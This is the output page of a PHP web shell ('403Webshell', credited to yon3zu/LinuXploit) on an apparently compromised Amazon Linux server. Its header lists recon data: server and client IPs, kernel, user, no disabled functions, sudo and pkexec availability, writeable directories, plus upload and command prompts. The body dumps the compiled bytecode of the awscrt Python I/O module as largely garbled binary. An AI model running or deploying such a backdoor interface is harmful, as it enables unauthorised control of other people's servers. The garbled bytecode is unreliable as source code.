403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.39
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/awscrt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/awscrt/__pycache__/io.cpython-39.pyc
a

ů�i�q�@sPdZddlZddlmZddlmZddlZddlmZGdd�de�Z	dd	�Z
d
d�ZGdd
�d
e�ZGdd�de�Z
Gdd�de
�ZGdd�de�Zdd�ZGdd�de�ZGdd�de�ZGdd�d�ZGdd�de�ZGdd�de�ZGd d!�d!�ZGd"d#�d#e�ZGd$d%�d%e�Zd&d'�Zd(d)�ZGd*d+�d+e�ZGd,d-�d-e�ZdS).z�
I/O library for `awscrt`.

All networking in `awscrt` is asynchronous.
Long-running event-loop threads are used for concurrency.
�N)�NativeResource)�IntEnum)�Unionc@s(eZdZdZdZdZdZdZdZdZ	dS)	�LogLevelr������N)
�__name__�
__module__�__qualname__ZNoLogsZFatal�ErrorZWarnZInfoZDebugZTrace�rr�//usr/lib64/python3.9/site-packages/awscrt/io.pyrsrcCs(|dusJ�|dusJ�t�||�dS)aInitialize logging in `awscrt`.

    Args:
        log_level (LogLevel): Display messages of this importance and higher.
        file_name (str): Logging destination. To write to stdout or stderr pass
            'stdout' or 'stderr' as strings. Otherwise, a file path is assumed.
    N)�_awscrt�init_logging)�	log_level�	file_namerrrrsrcCs|dusJ�t�|�dS)z�Change the log level of `awscrt`. init_logging() must have been called
    before using this function or else an exception will be raised.

    Args:
        log_level (LogLevel): Display messages of this importance and higher.
    N)r�
set_log_level)rrrrr*srcsJeZdZdZdZe��ZdZd
�fdd�	Z	e
dd��Ze
dd	��Z�Z
S)�EventLoopGroupaaA collection of event-loops.

    An event-loop is a thread for doing async work, such as I/O. Classes that
    need to do async work will ask the EventLoopGroup for an event-loop to use.

    Args:
        num_threads (Optional[int]): Maximum number of event-loops to create.
            If unspecified, one is created for each processor on the machine.

        cpu_group (Optional[int]): Optional processor group to which all
            threads will be pinned. Useful for systems with non-uniform
            memory access (NUMA) nodes. If specified, the number of threads
            will be capped at the number of processors in the group.

    Attributes:
        shutdown_event (threading.Event): Signals when EventLoopGroup's threads
            have all finished shutting down. Shutdown begins when the
            EventLoopGroup object is destroyed.
    N�shutdown_eventcs\t���|durd}|dur(d}d}nd}t����fdd�}�|_t�||||�|_dS)NrFTcs���dS�N��setr�rrr�on_shutdown^sz,EventLoopGroup.__init__.<locals>.on_shutdown)�super�__init__�	threading�EventrrZevent_loop_group_new�_binding)�selfZnum_threadsZ	cpu_groupZ	is_pinnedr��	__class__rrrOs
zEventLoopGroup.__init__cCsBtj�(tjdurt�t_tjWd�S1s40YdSr�r�_static_event_loop_group_lock�_static_event_loop_grouprrrr�get_or_create_static_defaultds
z+EventLoopGroup.get_or_create_static_defaultcCs0tj�dt_Wd�n1s"0YdSrr&rrrr�release_static_defaultksz%EventLoopGroup.release_static_default)NN)rr
r�__doc__r(r �Lockr'�	__slots__r�staticmethodr)r*�
__classcell__rrr$rr6s
rc@seZdZdZdZdS)�HostResolverBasezDNS host resolver.rN)rr
rr+r-rrrrr0qsr0csJeZdZdZdZe��ZdZd�fdd�	Z	e
dd��Ze
d	d
��Z�Z
S)�DefaultHostResolverz�Default DNS host resolver.

    Args:
        event_loop_group (EventLoopGroup): EventLoopGroup to use.
        max_hosts(int): Max host names to cache.
    Nr�cs*t|t�sJ�t���t�||�|_dSr)�
isinstancerrrrZhost_resolver_new_defaultr")r#�event_loop_groupZ	max_hostsr$rrr�s
zDefaultHostResolver.__init__cCsHtj�.tjdur tt���t_tjWd�S1s:0YdSr)r1�_static_host_resolver_lock�_static_host_resolverrr)rrrrr)�s
�z0DefaultHostResolver.get_or_create_static_defaultcCs0tj�dt_Wd�n1s"0YdSr)r1r5r6rrrrr*�sz*DefaultHostResolver.release_static_default)r2)rr
rr+r6r r,r5r-rr.r)r*r/rrr$rr1vs
r1csHeZdZdZdZe��ZdZ�fdd�Z	e
dd��Ze
dd	��Z�Z
S)
�ClientBootstrapa�Handles creation and setup of client socket connections.

    Args:
        event_loop_group (EventLoopGroup): EventLoopGroup to use.
        host_resolver (HostResolverBase): DNS host resolver to use.

    Attributes:
        shutdown_event (threading.Event): Signals when the ClientBootstrap's
            internal resources finish shutting down.
            Shutdown begins when the ClientBootstrap object is destroyed.
    NrcsTt|t�sJ�t|t�sJ�t���t����fdd�}�|_t�	|||�|_
dS)Ncs���dSrrrrrrr�sz-ClientBootstrap.__init__.<locals>.on_shutdown)r3rr0rrr r!rrZclient_bootstrap_newr")r#r4Z
host_resolverrr$rrr�s
zClientBootstrap.__init__cCsNtj�4tjdur&tt��t���t_tjWd�S1s@0YdSr)r7�_static_client_bootstrap_lock�_static_client_bootstraprr)r1rrrrr)�s
�z,ClientBootstrap.get_or_create_static_defaultcCs0tj�dt_Wd�n1s"0YdSr)r7r8r9rrrrr*�sz&ClientBootstrap.release_static_default)rr
rr+r9r r,r8r-rr.r)r*r/rrr$rr7�s
r7cCs8t|dd��}|��}Wd�n1s*0Y|S)N�rb)�mode)�open�read)�filepathZfh�contentsrrr�_read_binary_file�s&r@c@seZdZdZdZdZdS)�SocketDomainrrrN)rr
rZIPv4�IPv6ZLocalrrrrrA�srAc@seZdZdZdZdS)�
SocketTyperrN)rr
r�StreamZDGramrrrrrC�srCc@seZdZdZdZdd�ZdS)�
SocketOptionsa[Socket options.

    Attributes:
        domain (SocketDomain): Socket domain.
        type (SocketType): Socket type.
        connect_timeout_ms (int): Connection timeout, in milliseconds.
        keep_alive (bool): If set True, periodically transmit keepalive messages
            for detecting a disconnected peer.
        keep_alive_timeout_secs (int): Duration, in seconds, between keepalive
            transmissions in idle condition. If 0, then a default value is used.
        keep_alive_interval_secs (int): Duration, in seconds, between keepalive
            retransmissions, if acknowledgement of previous keepalive transmission
            is not received. If 0, then a default value is used.
        keep_alive_max_probes (int): If set, sets the number of keepalive probes
            allowed to fail before a connection is considered lost.
    )�domain�type�connect_timeout_ms�
keep_alive�keep_alive_timeout_secs�keep_alive_interval_secs�keep_alive_max_probescCsJ|jD]}t||d�qtj|_tj|_d|_d|_	d|_
d|_d|_dS)Ni�Fr)
r-�setattrrArBrFrCrDrGrHrIrKrJrL�r#Zslotrrrr�s
zSocketOptions.__init__N)rr
rr+r-rrrrrrE�srEc@s$eZdZdZdZdZdZdZdZdS)�
TlsVersionrrrrr	�N)	rr
rZSSLv3ZTLSv1ZTLSv1_1ZTLSv1_2ZTLSv1_3�DEFAULTrrrrrOsrOc@s(eZdZdZdZdZdZdZdd�ZdS)	�
TlsCipherPrefa*TLS Cipher Preference.

       Each TlsCipherPref represents an ordered list of TLS Ciphers to use when negotiating a TLS Connection. At
       present, the ability to configure arbitrary orderings of TLS Ciphers is not allowed, and only a curated list of
       vetted TlsCipherPref's are exposed.rr��	cCst�|j�S)zbReturn whether this Cipher Preference is available in the underlying platform's TLS implementation)rZis_tls_cipher_supported�value�r#rrr�is_supported(szTlsCipherPref.is_supportedN)	rr
rr+rQZPQ_TLSv1_0_2021_05Z
PQ_DEFAULTZTLSv1_2_2025_07rWrrrrrR	srRc	@s�eZdZdZdZdd�Zedd��Zedd��Zed	d	d	d	d	d
�de	e
d	fee
e
e
d�d
d��Zedd��Z
edd��Zedd��Zedd��Zedd��Zddd�Zdd�Zd	S)�TlsContextOptionsa5Options to create a TLS context.

    The static `TlsContextOptions.create_X()` methods provide common TLS configurations.
    A default-initialized TlsContextOptions has `verify_peer` set True.

    Attributes:
        min_tls_ver (TlsVersion): Minimum TLS version to use.
            System defaults are used by default.
        cipher_pref (TlsCipherPref): The TLS Cipher Preference to use. System defaults are used by default.
        verify_peer (bool): Whether to validate the peer's x.509 certificate.
        alpn_list (Optional[List[str]]): If set, names to use in Application Layer
            Protocol Negotiation (ALPN). ALPN is not supported on all systems,
            see :meth:`is_alpn_available()`. This can be customized per connection,
            via :meth:`TlsConnectionOptions.set_alpn_list()`.
    )�min_tls_ver�
ca_dirpath�	ca_buffer�cipher_pref�	alpn_list�certificate_buffer�private_key_buffer�pkcs12_filepath�pkcs12_password�verify_peer�_pkcs11_lib�_pkcs11_user_pin�_pkcs11_slot_id�_pkcs11_token_label�_pkcs11_private_key_label�_pkcs11_cert_file_path�_pkcs11_cert_file_contents�_windows_cert_store_pathcCs2|jD]}t||d�qtj|_tj|_d|_dS)NT)r-rMrOrQrYrRr\rbrNrrrrRs

zTlsContextOptions.__init__cCs8t|t�sJ�t|t�sJ�t|�}t|�}t�||�S)a�
        Create options configured for use with mutual TLS in client mode.

        Both files are treated as PKCS #7 PEM armored.
        They are loaded from disk and stored in buffers internally.

        Args:
            cert_filepath (str): Path to certificate file.
            pk_filepath (str): Path to private key file.

        Returns:
            TlsContextOptions:
        )r3�strr@rX�create_client_with_mtls�Z
cert_filepathZpk_filepath�cert_buffer�
key_bufferrrr�!create_client_with_mtls_from_path[s
z3TlsContextOptions.create_client_with_mtls_from_pathcCs2t|t�sJ�t|t�sJ�t�}||_||_|S)a9
        Create options configured for use with mutual TLS in client mode.

        Both buffers are treated as PKCS #7 PEM armored.

        Args:
            cert_buffer (bytes): Certificate contents
            key_buffer (bytes): Private key contents.

        Returns:
            TlsContextOptions:
        )r3�bytesrXr^r_�rnro�optrrrrlssz)TlsContextOptions.create_client_with_mtlsN)�slot_id�token_label�private_key_label�cert_file_path�cert_file_contents�	Pkcs11Lib)�
pkcs11_lib�user_pinrtrurvrwcCs�t|t�sJ�t|t�s$|dus$J�t|t�s:|dus:J�t|t�sP|dusPJ�t|t�sf|dusfJ�t|t�s||dus|J�t�}||_||_||_||_||_	||_
||_|S)aC
        Create options configured for use with mutual TLS in client mode,
        using a PKCS#11 library for private key operations.

        NOTE: This configuration only works on Unix devices.

        Keyword Args:
            pkcs11_lib (Pkcs11Lib): Use this PKCS#11 library

            user_pin (str): User PIN, for logging into the PKCS#11 token.
                Pass `None` to log into a token with a "protected authentication path".

            slot_id (Optional[int]): ID of slot containing PKCS#11 token.
                If not specified, the token will be chosen based on other criteria (such as token label).

            token_label (Optional[str]): Label of the PKCS#11 token to use.
                If not specified, the token will be chosen based on other criteria (such as slot ID).

            private_key_label (Optional[str]): Label of private key object on PKCS#11 token.
                If not specified, the key will be chosen based on other criteria
                (such as being the only available private key on the token).

            cert_file_path (Optional[str]): Use this X.509 certificate (path to file on disk).
                The certificate must be PEM-formatted. The certificate may be
                specified by other means instead (ex: `cert_file_contents`)

            cert_file_contents (Optional[Union[str, bytes, bytearray]]):
                Use this X.509 certificate (contents in memory).
                The certificate must be PEM-formatted. The certificate may be
                specified by other means instead (ex: `cert_file_path`)
        N)r3ryrk�intrXrcrdrerfrgrhri)rzr{rtrurvrwrxrsrrr�create_client_with_mtls_pkcs11�s)z0TlsContextOptions.create_client_with_mtls_pkcs11cCs2t|t�sJ�t|t�sJ�t�}||_||_|S)a�
        Create options configured for use with mutual TLS in client mode.

        NOTE: This configuration only works on Apple devices.

        Args:
            pkcs12_filepath (str): Path to PKCS #12 file.
                The file is loaded from disk and stored internally.
            pkcs12_password (str): Password to PKCS #12 file.

        Returns:
            TlsContextOptions:
        )r3rkrXr`ra�r`rarsrrr�create_client_with_mtls_pkcs12�sz0TlsContextOptions.create_client_with_mtls_pkcs12cCst|t�sJ�t�}||_|S)a
        Create options configured for use with mutual TLS in client mode,
        using a certificate in a Windows certificate store.

        NOTE: This configuration only works on Windows devices.

        Args:
            cert_path (str): Path to certificate in a Windows certificate store.
                The path must use backslashes and end with the certificate's thumbprint.
                Example: ``CurrentUser\MY\A11F8A9B5DF5B98BA3508FBCA575D09570E0D2C6``

        Returns:
            TlsContextOptions
        )r3rkrXrj)Z	cert_pathrsrrr�/create_client_with_mtls_windows_cert_store_path�szATlsContextOptions.create_client_with_mtls_windows_cert_store_pathcCs8t|t�sJ�t|t�sJ�t|�}t|�}t�||�S)as
        Create options configured for use in server mode.

        Both files are treated as PKCS #7 PEM armored.
        They are loaded from disk and stored in buffers internally.

        Args:
            cert_filepath (str): Path to certificate file.
            pk_filepath (str): Path to private key file.

        Returns:
            TlsContextOptions:
        )r3rkr@rX�
create_serverrmrrr�create_server_from_path�s
z)TlsContextOptions.create_server_from_pathcCs8t|t�sJ�t|t�sJ�t�}||_||_d|_|S)a*
        Create options configured for use in server mode.

        Both buffers are treated as PKCS #7 PEM armored.

        Args:
            cert_buffer (bytes): Certificate contents.
            key_buffer (bytes): Private key contents.

        Returns:
            TlsContextOptions:
        F)r3rqrXr^r_rbrrrrrr�
szTlsContextOptions.create_servercCs8t|t�sJ�t|t�sJ�t�}||_||_d|_|S)a:
        Create options configured for use in server mode.

        NOTE: This configuration only works on Apple devices.

        Args:
            pkcs12_filepath (str): Path to PKCS #12 file.
            pkcs12_password (str): Password to PKCS #12 file.

        Returns:
            TlsContextOptions:
        F)r3rkrXr`rarbr~rrr�create_server_pkcs12!sz&TlsContextOptions.create_server_pkcs12cCsLt|t�s|dusJ�t|t�s,|dus,J�|rBt|�}|�|�||_dS)atOverride default trust store.

        Args:
            ca_dirpath (Optional[str]): Path to directory containing
                trusted certificates, which will overrides the default trust store.
                Only supported on Unix.
            ca_filepath(Optional[str]): Path to file containing PEM armored chain
                of trusted CA certificates.
        N)r3rkr@�override_default_trust_storerZ)r#rZZca_filepathr[rrr�&override_default_trust_store_from_path9s
z8TlsContextOptions.override_default_trust_store_from_pathcCst|t�sJ�||_dS)z�Override default trust store.

        Args:
            rootca_buffer (bytes): PEM armored chain of trusted CA certificates.
        N)r3rqr[)r#Z
rootca_bufferrrrr�Msz.TlsContextOptions.override_default_trust_store)NN)rr
rr+r-rr.rprlrrkr|r}rr�r�r�r�r�r�rrrrrX-sB	

�
�:





rXcs,eZdZdZdZ�fdd�Zdd�Z�ZS)�ClientTlsContextz�Client TLS context.

    A context is expensive, but can be used for the lifetime of the application
    by all outgoing connections that wish to use the same TLS configuration.

    Args:
        options (TlsContextOptions): Configuration options.
    rcsvt|t�sJ�t���t�|jj|jj|j	|j
t|j�|j
|j|j|j|j|j|j|j|j|j|j|j|j�|_dSr)r3rXrrrZclient_tls_ctx_newrYrUr\rZr[�_alpn_list_to_strr]r^r_r`rarbrcrdrerfrgrhrirjr")r#�optionsr$rrrcs,
�zClientTlsContext.__init__cCst|�S)z�Create a :class:`TlsConnectionOptions` that makes use of this TLS context.

        Returns:
                TlsConnectionOptions:
        )�TlsConnectionOptionsrVrrr�new_connection_options|sz'ClientTlsContext.new_connection_options)rr
rr+r-rr�r/rrr$rr�Xsr�cs4eZdZdZdZ�fdd�Zdd�Zdd�Z�ZS)	r�a6Connection-specific TLS options.

    Note that, while a TLS context is an expensive object, a :class:`TlsConnectionOptions` is cheap.

    Args:
        tls_ctx (ClientTlsContext): TLS context. A context can be shared by many connections.

    Attributes:
        tls_ctx (ClientTlsContext): TLS context.
    �tls_ctxcs.t|t�sJ�t���||_t�|�|_dSr)r3r�rrr�rZ$tls_connections_options_new_from_ctxr")r#r�r$rrr�s
zTlsConnectionOptions.__init__cCst�|t|��dS)aGSet names to use in Application Layer Protocol Negotiation (ALPN).

        This overrides any ALPN list on the TLS context, see :attr:`TlsContextOptions.alpn_list`.
        ALPN is not supported on all systems, see :meth:`is_alpn_available()`.

        Args:
            alpn_list (List[str]): List of protocol names.
        N)rZ$tls_connection_options_set_alpn_listr�)r#r]rrr�
set_alpn_list�s	z"TlsConnectionOptions.set_alpn_listcCst�||�dS)z�Set server name.

        Sets name for TLS Server Name Indication (SNI).
        Name is also used for x.509 validation.

        Args:
            server_name (str): Server name.
        N)rZ&tls_connection_options_set_server_name)r#Zserver_namerrr�set_server_name�s	z$TlsConnectionOptions.set_server_name)	rr
rr+r-rr�r�r/rrr$rr��s

r�cCs |rt|t�rJ�d�|�SdS)ze
    Transform ['h2', 'http/1.1'] -> "h2;http/1.1"
    None is returned if list is None or empty
    �;N)r3rk�join)r]rrrr��s
r�cCst��S)z^Returns True if Application Layer Protocol Negotiation (ALPN)
    is supported on this system.)r�is_alpn_availablerrrrr��sr�csBeZdZdZdZ�fdd�Zdd�Zdd�Zedd
d��Z	�Z
S)
�InputStreamz�InputStream allows `awscrt` native code to read from Python binary I/O classes.

    Args:
        stream (io.IOBase): Python binary I/O stream to wrap.
    �_streamcsFtt|dd��std��t|t�r&J�t���||_t�	|�|_
dS)Nr=zI/O stream type expected)�callable�getattr�	TypeErrorr3r�rrr�rZinput_stream_newr")r#�streamr$rrr�s
zInputStream.__init__cCs�z|t|jd�r|j�|�WSt|jd�r6|j�|�WSt|jd�rT|j�t|��}n|j�t|��}t|�}||d|�<|WSty�YdS0dS)N�	readinto1�readinto�read1)�hasattrr�r�r�r��lenr=�BlockingIOError)r#�m�data�nrrr�_read_into_memoryview�sz!InputStream._read_into_memoryviewcCs|j�||�Sr)r��seek)r#�offset�whencerrr�_seek�szInputStream._seekFcCs&|dur|rdSt|t�r|S||�S)ad
        Given some stream type, returns an :class:`InputStream`.

        Args:
            stream (Union[io.IOBase, InputStream, None]): Binary I/O stream to wrap.
            allow_none (bool): Whether to allow `stream` to be None.
                If False (default), and `stream` is None, an exception is raised.

        Returns:
            Union[InputStream, None]: If `stream` is already an :class:`InputStream`, it is returned.
            Otherwise, an :class:`InputStream` which wraps the `stream` is returned.
            If `allow_none` is True, and `stream` is None, then None is returned.
        N)r3r�)�clsr�Z
allow_nonerrr�wrap�s

zInputStream.wrap)F)rr
rr+r-rr�r��classmethodr�r/rrr$rr��sr�cs>eZdZdZGdd�de�Zdd�eed��fdd�Z�ZS)	rya�
    Handle to a loaded PKCS#11 library.

    For most use cases, a single instance of :class:`Pkcs11Lib` should be used for the
    lifetime of your application.

    Keyword Args:
        file (str): Path to PKCS#11 library.
        behavior (Optional[InitializeFinalizeBehavior]):
            Specifies how `C_Initialize()` and `C_Finalize()` will be called
            on the PKCS#11 library (default is :attr:`InitializeFinalizeBehavior.DEFAULT`)
    c@seZdZdZdZdZdZdS)z$Pkcs11Lib.InitializeFinalizeBehaviorz~
        An enumeration.

        Controls how `C_Initialize()` and `C_Finalize()` are called on the PKCS#11 library.
        rrrN)rr
rr+rQZOMITZSTRICTrrrr�InitializeFinalizeBehaviors
	r�N)�behavior)�filer�cs,t���|durtjj}t�||�|_dSr)rrryr�rQrZpkcs11_lib_newr")r#r�r�r$rrr2s
zPkcs11Lib.__init__)	rr
rr+rr�rkrr/rrr$rrys
"ry)r+rZawscrtr�enumrr �typingrrrrrr0r1r7r@rArCrErOrRrXr�r�r�r�r�ryrrrr�<module>s6

; .$	$--+A

Youez - 2016 - github.com/yon3zu
LinuXploit